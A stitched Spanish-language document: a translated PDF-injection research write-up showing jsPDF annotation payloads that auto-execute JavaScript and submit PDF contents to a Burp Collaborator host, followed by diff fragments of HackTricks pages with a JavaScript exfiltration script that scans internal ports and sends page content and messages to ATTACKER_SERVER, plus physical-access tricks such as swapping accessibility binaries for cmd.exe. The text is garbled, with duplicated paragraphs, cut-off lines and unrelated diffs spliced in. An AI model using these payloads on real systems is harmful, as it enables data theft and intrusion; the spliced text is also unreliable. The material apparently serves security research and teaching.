Luego, solo por diversión, miré cómo robar el contenido del PDF sin usar JavaScript. De la especificación de PDF, descubrí que puedes usar una acción llamada SubmitForm. Utilicé esto en el pasado cuando construí un PDF para una verificación de escaneo en Burp Suite. Hace exactamente lo que el nombre implica. También tiene una entrada de Flags en el diccionario para controlar lo que se envía. La clave del diccionario Flags acepta un solo valor entero, pero cada configuración individual está controlada por un bit binario. Una buena manera de trabajar con estas configuraciones es usando los nuevos literales binarios en ES6. El literal binario debe tener 14 bits de longitud porque hay un total de 14 flags. En el siguiente ejemplo, todas las configuraciones están desactivadas:`0b00000000000000`
Para establecer un flag, primero necesitas buscar su posición de bit (tabla 237 de la [especificación de PDF](https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/PDF32000\_2008.pdf)). En este caso, queremos establecer el flag SubmitPDF. Como esto está controlado por el 9º bit, solo necesitas contar 9 bits desde la derecha:`0b00000100000000`
Si evalúas esto con JavaScript, esto resulta en el valor decimal 256. En otras palabras, establecer la entrada de Flags a 256 habilitará el flag SubmitPDF, lo que hace que el contenido del PDF se envíe al enviar el formulario. Todo lo que necesitamos hacer es usar la inyección base que creamos anteriormente y modificarla para llamar a la acción SubmitForm en lugar de JavaScript:`/blah)>>/A<</S/SubmitForm/Flags 256/F(`\
`https://your-id.burpcollaborator.net)`\
`/Type/Action>>/>>(`
## sPDF
Luego apliqué mi metodología a otra biblioteca de PDF - [jsPDF](https://parall.ax/products/jspdf) - y descubrí que también era vulnerable. Explotar esta biblioteca fue bastante divertido porque tienen una API que puede ejecutarse en el navegador y te permitirá generar el PDF en tiempo real mientras escribes. Noté que, al igual que la biblioteca PDP-Lib, olvidaron escapar los paréntesis dentro de las URLs de anotación. Aquí la propiedad url era vulnerable:`doc.createAnnotation({bounds:`\
`{x:0,y:10,w:200,h:200},`\
``type:'link',url:`/input`});``\
`//vulnerable`
Así que generé un PDF usando su API e inyecté código PDF en la propiedad url:
`var doc = new jsPDF();`\
`doc.text(20, 20, 'Hello world!');`\
`doc.addPage('a6','l');`\
`doc.createAnnotation({bounds:`\
`` {x:0,y:10,w:200,h:200},type:'link',url:` ``\
`/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action/F 0/(`\
`` `}); ``
Reducí el vector eliminando las entradas de tipo del diccionario y la entrada F innecesaria. Luego dejé un paréntesis colgante que sería cerrado por el existente. Reducir el tamaño de la inyección es importante porque la aplicación web a la que estás inyectando podría permitir solo una cantidad limitada de caracteres.`/blah)>>/A<</S/JavaScript/JS(app.alert(1)`
Luego descubrí que era posible reducir aún más el vector. Acrobat permitiría una entrada URI y una entrada JavaScript dentro de una sola acción de anotación y ejecutaría felizmente el JavaScript:`/)/S/JavaScript/JS(app.alert(1)`
Investigaciones adicionales revelaron que también puedes inyectar múltiples anotaciones. Esto significa que en lugar de solo inyectar una acción, podrías salir de la anotación y definir tus propias coordenadas rect para elegir qué sección del documento sería clickeable. Usando esta técnica, pude hacer que todo el documento fuera clickeable. `/) >> >>`\
`<</Type /Annot /Subtype /Link /Rect [0.00 813.54 566.93 -298.27] /Border [0 0`\
`0] /A <</S/SubmitForm/Flags 0/F(https://your-id.burpcollaborator.net`
## Ejecutando anotaciones sin interacción
Hasta ahora, los vectores que he demostrado requieren un clic para activar la acción de la anotación. Típicamente, James hizo la pregunta "¿Podemos ejecutar automáticamente?". Revisé la especificación de PDF y noté algunas características interesantes de las anotaciones:
"Las entradas **PV** y **PI** permiten una distinción entre páginas que están abiertas y páginas que son visibles. En cualquier momento, solo una página se considera abierta en la aplicación de visualización, mientras que más de una página puede ser visible, dependiendo del diseño de página."
Podemos agregar la entrada PV al diccionario y la anotación se disparará automáticamente en Acrobat. ¡No solo eso, sino que también podemos ejecutar una carga útil automáticamente cuando el documento PDF se cierra usando la entrada PC. Un atacante podría rastrearte cuando abres el PDF y lo cierras.
Aquí te mostramos cómo ejecutar automáticamente desde una anotación:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/)``\
`>> >>`\
``<</Subtype /Screen /Rect [0 0 900 900] /AA <</PV <</S/JavaScript/JS(app.alert(1))>>/(`});``\
`doc.text(20, 20, 'Auto execute');`
Cuando cierras el PDF, esta anotación se disparará:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >>``\
``<</Subtype /Screen /Rect [0 0 900 900] /AA <</PC <</S/JavaScript/JS(app.alert(1))>>/(`});``\
`doc.text(20, 20, 'Close me');`
Al igual que los vectores XSS dependen del análisis del navegador, la explotabilidad de la inyección PDF puede depender del renderizador PDF. Decidí comenzar apuntando a Acrobat porque pensé que los vectores er
## Chrome
He hablado mucho sobre Acrobat, pero ¿qué hay de PDFium (lector de PDF de Chrome)? Chrome es complicado; la superficie de ataque es mucho más pequeña ya que su soporte de JavaScript es más limitado que el de Acrobat. Lo primero que noté fue que JavaScript no se estaba ejecutando en las anotaciones en absoluto, por lo que mis pruebas de concepto no funcionaban. Para hacer que los vectores funcionen en Chrome, necesitaba al menos ejecutar JavaScript dentro de las anotaciones. Primero, decidí intentar sobrescribir una URL en una anotación. Esto fue bastante fácil. Podía usar la inyección base que había creado antes e inyectar simplemente otra acción con una entrada URI que sobrescribiría la URL existente: `var doc = new jsPDF();`\
He hablado mucho sobre Acrobat pero ¿qué hay de PDFium (el lector de PDF de Chrome)? Chrome es complicado; la superficie de ataque es mucho más pequeña ya que su soporte de JavaScript es más limitado que el de Acrobat. Lo primero que noté fue que el JavaScript no se estaba ejecutando en las anotaciones en absoluto, por lo que mis pruebas de concepto no funcionaban. Para que los vectores funcionaran en Chrome, necesitaba al menos ejecutar JavaScript dentro de las anotaciones. Sin embargo, primero decidí intentar sobrescribir una URL en una anotación. Esto fue bastante fácil. Podría usar la inyección base que se me ocurrió antes y simplemente inyectar otra acción con una entrada URI que sobrescribiría la URL existente:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<</S/URI/URI(https://portswigger.net)``\
``/Type/Action>>/F 0>>(`});``\
`doc.text(20, 20, 'Test text');`
Esto navegaría a portswigger.net cuando se hace clic. Luego, seguí intentando diferentes inyecciones para llamar a JavaScript, pero esto fallaría cada vez. Pensé que era imposible hacerlo. Di un paso atrás e intenté construir manualmente un PDF completo que llamara a JavaScript desde un clic en Chrome sin una inyección. Al usar un botón AcroForm, Chrome permitiría la ejecución de JavaScript, pero el problema era que requería referencias a partes del PDF. Logré crear una inyección que ejecutaría JavaScript desde un clic en JSPDF: `var doc = new jsPDF();`\
Esto navegaría a portswigger.net cuando se hiciera clic. Luego continué e intenté diferentes inyecciones para llamar a JavaScript, pero esto fallaría cada vez. Pensé que era imposible hacerlo. Di un paso atrás e intenté construir manualmente un PDF completo que llamaría a JavaScript desde un clic en Chrome sin una inyección. Cuando se usaba un botón AcroForm, Chrome permitiría la ejecución de JavaScript, pero el problema era que requería referencias a partes del PDF. Logré crear una inyección que ejecutaría JavaScript desde un clic en JSPDF:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.825 0.8275 0.8275]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1))/Type/Action/F 4/DA(blah`});``\
`doc.text(20, 20, 'Click me test');`
Como puede ver, el vector anterior requiere conocimiento de la estructura PDF. `[ 3 0 R]` se refiere a un objeto PDF específico y si estuviéramos haciendo un ataque de inyección de PDF ciego, no conoceríamos su estructura. Aún así, la siguiente etapa es intentar una presentación de formulario. Podemos usar la función `submitForm` para esto, y como la anotación requiere un clic, Chrome lo permitirá: `/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.0 813.54 566.93 -298.27]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Sub
Como puedes ver, el vector anterior requiere conocimiento de la estructura del PDF. \[ 3 0 R] se refiere a un objeto PDF específico y si estuviéramos haciendo un ataque de inyección de PDF a ciegas, no conoceríamos la estructura de este. Aún así, la siguiente etapa es intentar una presentación de formulario. Podemos usar la función submitForm para esto, y debido a que la anotación requiere un clic, Chrome lo permitirá:`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.0 813.54 566.93 -298.27]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1);this.submitForm('https://your-id.burpcollaborator.net'))/Type/Action/F 4/DA(blah`
Esto funciona, pero es desordenado y requiere conocimiento de la estructura del PDF. Podemos reducirlo mucho y eliminar la dependencia de la estructura del PDF:`#) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0 0 889 792]/CA(Submit)>>/Rect [ 0 0 889 792]/Subtype/Widget/AP<</N <</Type/XObject/Subtype/Form>>>>/Parent <</Kids[ ]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(`\
`app.alert(1)`\
`)/Type/Action/F 4/DA(blah`\
``
Todavía hay algo de código que podemos eliminar:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
```javascript
@ -30,72 +28,72 @@ var ALL_INFO = "" // Only used by Location exfiltration
// Function to make the data possible to transmit via either GET or POST
function encode(text){
return encodeURI(btoa(text));
return encodeURI(btoa(text));
}
// Functions to exfiltrate the information
function exfil_info(info_name, text, is_final=false){
if (EXFIL_BY_IMG) exfil_by_img(info_name, text);
if (EXFIL_BY_RQ_GET) exfil_by_rq_get(info_name, text);
if (EXFIL_BY_RQ_POST) exfil_by_rq_post(info_name, text);
if (EXFIL_BY_FETCH_GET) exfil_by_fetch_get(info_name, text);
if (EXFIL_BY_FETCH_POST) exfil_by_fetch_post(info_name, text);
if (EXFIL_BY_NAV) exfil_by_nav(info_name, text);
if (EXFIL_BY_LOC){
if (is_final) exfil_by_loc(info_name, text);
else ALL_INFO += "\n\n" + info_name + "=" + text;
}
if (EXFIL_BY_IMG) exfil_by_img(info_name, text);
if (EXFIL_BY_RQ_GET) exfil_by_rq_get(info_name, text);
if (EXFIL_BY_RQ_POST) exfil_by_rq_post(info_name, text);
if (EXFIL_BY_FETCH_GET) exfil_by_fetch_get(info_name, text);
if (EXFIL_BY_FETCH_POST) exfil_by_fetch_post(info_name, text);
if (EXFIL_BY_NAV) exfil_by_nav(info_name, text);
if (EXFIL_BY_LOC){
if (is_final) exfil_by_loc(info_name, text);
else ALL_INFO += "\n\n" + info_name + "=" + text;
}
}
function exfil_by_img(info_name, text){
new Image().src = ATTACKER_SERVER + "/exfil_by_img/" + info_name + "?" + info_name + "=" + text
new Image().src = ATTACKER_SERVER + "/exfil_by_img/" + info_name + "?" + info_name + "=" + text
}
function exfil_by_rq_get(info_name, text){
var xhttp = new XMLHttpRequest();
xhttp.open("GET", ATTACKER_SERVER + "/exfil_by_rq_get/" + info_name + "?" + info_name + "=" + text, true);
xhttp.send();
var xhttp = new XMLHttpRequest();
xhttp.open("GET", ATTACKER_SERVER + "/exfil_by_rq_get/" + info_name + "?" + info_name + "=" + text, true);
xhttp.send();
}
function exfil_by_rq_post(info_name, text){
var xhttp = new XMLHttpRequest();
xhttp.open("POST", ATTACKER_SERVER + "/exfil_by_rq_post/" + info_name, true);
xhttp.send(text);
var xhttp = new XMLHttpRequest();
xhttp.open("POST", ATTACKER_SERVER + "/exfil_by_rq_post/" + info_name, true);
xhttp.send(text);
}
function exfil_by_fetch_get(info_name, text){
fetch(ATTACKER_SERVER + "/exfil_by_fetch_get/" + info_name + "?" + info_name + "=" + text, {method: 'GET', mode: 'no-cors'});
fetch(ATTACKER_SERVER + "/exfil_by_fetch_get/" + info_name + "?" + info_name + "=" + text, {method: 'GET', mode: 'no-cors'});
}
function exfil_by_fetch_post(info_name, text){
fetch(ATTACKER_SERVER + "/exfil_by_fetch_post/" + info_name, {method: 'POST', mode: 'no-cors', body: text});
fetch(ATTACKER_SERVER + "/exfil_by_fetch_post/" + info_name, {method: 'POST', mode: 'no-cors', body: text});
}
function exfil_by_nav(info_name, text){
navigator.sendBeacon(ATTACKER_SERVER + "/exfil_by_nav/" + info_name, text)
navigator.sendBeacon(ATTACKER_SERVER + "/exfil_by_nav/" + info_name, text)
}
function exfil_by_loc(info_name, text){
document.location = ATTACKER_SERVER + "/exfil_by_loc/?a=" + encode(ALL_INFO);
document.location = ATTACKER_SERVER + "/exfil_by_loc/?a=" + encode(ALL_INFO);
}
// Functions to get the data to exfiltrate
function exfil_page_content(url){
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
exfil_info(url, encode(xhr.responseText));
}
}
xhr.open('GET', url, true);
xhr.send(null);
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
exfil_info(url, encode(xhr.responseText));
}
}
xhr.open('GET', url, true);
xhr.send(null);
}
function exfil_internal_port(port){
fetch("http://127.0.0.1:" + port + "/", { mode: "no-cors" }).then(() => {
exfil_info("internal_port", encode(port));
});
fetch("http://127.0.0.1:" + port + "/", { mode: "no-cors" }).then(() => {
exfil_info("internal_port", encode(port));
});
}
@ -112,26 +110,24 @@ top_1000 = [1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70
top_1000.forEach(port => exfil_internal_port(port));
if (EXFIL_BY_LOC){
setTimeout(exfil_info("finish", "finish", true), 5000) // exfiltrate by location after 5s
setTimeout(exfil_info("finish", "finish", true), 5000) // exfiltrate by location after 5s
}
// Sniff info
window.onmessage = function(e){
exfil_info("onmessage", encode(e.data))
exfil_info("onmessage", encode(e.data))
}
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,17 +2,15 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres acceder a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop).
Otras formas de apoyar a HackTricks:
- Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
- Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com).
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -20,15 +18,15 @@
### La batería
La mayoría de las **placas base** tienen una **batería**. Si la **retiras** durante **30min**, los ajustes del BIOS se **reiniciarán** (incluida la contraseña).
La mayoría de las **placas base** tienen una **batería**. Si la **retiras** durante **30min**, la configuración del BIOS se **reiniciará** (incluida la contraseña).
### Jumper CMOS
La mayoría de las **placas base** tienen un **jumper** que puede reiniciar los ajustes. Este jumper conecta un pin central con otro, si **conectas esos pines la placa base se reiniciará**.
La mayoría de las **placas base** tienen un **jumper** que puede reiniciar la configuración. Este jumper conecta un pin central con otro, si **conectas esos pines la placa base se reiniciará**.
### Herramientas en Vivo
Si pudieras **ejecutar**, por ejemplo, un Linux **Kali** desde un CD/USB en vivo, podrías usar herramientas como _**killCmos**_ o _**CmosPWD**_ (este último está incluido en Kali) para intentar **recuperar la contraseña del BIOS**.
Si pudieras **ejecutar**, por ejemplo, un Linux **Kali** desde un CD/USB en Vivo, podrías usar herramientas como _**killCmos**_ o _**CmosPWD**_ (este último está incluido en Kali) para intentar **recuperar la contraseña del BIOS**.
### Recuperación de contraseña del BIOS en línea
@ -37,7 +35,7 @@ Visita la página [https://bios-pw.org](https://bios-pw.org) e **introduce el c
## UEFI
Para verificar los ajustes del UEFI y realizar algún tipo de ataque deberías probar [chipsec](https://github.com/chipsec/chipsec/blob/master/chipsec-manual.pdf).\
Para verificar la configuración del UEFI y realizar algún tipo de ataque, deberías probar [chipsec](https://github.com/chipsec/chipsec/blob/master/chipsec-manual.pdf).\
Usando esta herramienta podrías desactivar fácilmente el Secure Boot:
```
python chipsec_main.py -module exploits.secure.boot.pk
@ -70,7 +68,7 @@ Inception es una herramienta de **manipulación de memoria física** y hacking q
* **OSK:** _osk.exe_ se invoca al presionar WINDOWS+U, luego lanzando el teclado en pantalla
* **DISP:** _DisplaySwitch.exe_ se invoca al presionar WINDOWS+P
Estos binarios se encuentran dentro de _**C:\Windows\System32**_. Puedes **cambiar** cualquiera de ellos por una **copia** del binario **cmd.exe** (también en la misma carpeta) y cada vez que invoques cualquiera de esos binarios aparecerá un símbolo del sistema como **SYSTEM**.
Estos binarios se encuentran dentro de _**C:\Windows\System32**_. Puedes **cambiar** cualquiera de ellos por una **copia** del binario **cmd.exe** (también en la misma carpeta) y cada vez que invoques cualquiera de esos binarios aparecerá una línea de comandos como **SYSTEM**.
### Modificando SAM
@ -123,7 +121,7 @@ Con privilegios de administrador y powershell podrías hacer una copia del archi
Bitlocker utiliza **2 contraseñas**. La que usa el **usuario** y la contraseña de **recuperación** (48 dígitos).
Si tienes suerte y dentro de la sesión actual de Windows existe el archivo _**C:\Windows\MEMORY.DMP**_ (Es un volcado de memoria) podrías intentar **buscar dentro de él la contraseña de recuperación**. Puedes **obtener este archivo** y una **copia del sistema de archivos** y luego usar _Elcomsoft Forensic Disk Decryptor_ para obtener el contenido (esto solo funcionará si la contraseña está dentro del volcado de memoria). También podrías **forzar el volcado de memoria** usando _**NotMyFault**_ de _Sysinternals_, pero esto reiniciará el sistema y debe ser ejecutado como Administrador.
Si tienes suerte y dentro de la sesión actual de Windows existe el archivo _**C:\Windows\MEMORY.DMP**_ (Es un volcado de memoria) podrías intentar **buscar dentro de él la contraseña de recuperación**. Puedes **obtener este archivo** y una **copia del sistema de archivos** y luego usar _Elcomsoft Forensic Disk Decryptor_ para obtener el contenido (esto solo funcionará si la contraseña está dentro del volcado de memoria). También podrías **forzar el volcado de memoria** usando _**NotMyFault**_ de _Sysinternals,_ pero esto reiniciará el sistema y debe ser ejecutado como Administrador.
También podrías intentar un **ataque de fuerza bruta** usando _**Passware Kit Forensic**_.
@ -141,16 +139,14 @@ manage-bde -protectors -get c:
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
- Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
